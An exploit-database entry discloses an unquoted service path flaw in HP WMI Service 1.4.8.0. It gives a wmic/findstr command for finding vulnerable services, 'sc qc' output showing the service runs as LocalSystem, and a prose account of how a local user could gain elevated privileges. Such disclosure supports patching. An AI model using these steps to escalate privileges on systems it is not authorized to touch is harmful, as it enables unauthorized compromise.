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## https://sploitus.com/exploit?id=PACKETSTORM:159948
#Exploit Title: HP WMI Service 1.4.8.0 - 'HPWMISVC.exe' Unquoted Service Path  
#Discovery by: Jocelyn Arenas  
#Discovery Date: 2020-11-07  
#Vendor Homepage: https://www8.hp.com/mx/es/home.html  
#Tested Version: 1.4.8.0   
#Vulnerability Type: Unquoted Service Path  
#Tested on OS: Windows 10 Home x64 es  
  
# Step to discover Unquoted Service Path:  
  
C:\>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\windows\\" | findstr /i /v """  
  
  
HPWMISVC HPWMISVC c:\Program Files (x86)\HP\HP System Event\HPWMISVC.exe Auto  
  
  
#Service info:  
  
C:\>sc qc HPWMISVC  
[SC] QueryServiceConfig SUCCESS  
  
SERVICE_NAME : HPWMISVC  
TYPE : 110 WIN32_OWN_PROCESS (interactive)  
START_TYPE : 2 AUTO_START  
ERROR_CONTROL : 1 NORMAL  
BINARY_PATH_NAME : c:\Program Files (x86)\HP\HP System Event\HPWMISVC.exe  
LOAD_ORDER_GROUP :  
TAG : 0  
DISPLAY_NAME : HPWMISVC  
DEPENDENCIES :  
SERVICE_START_NAME : LocalSystem  
  
  
  
  
#Exploit:  
  
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security   
applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with   
the elevated privileges of the application.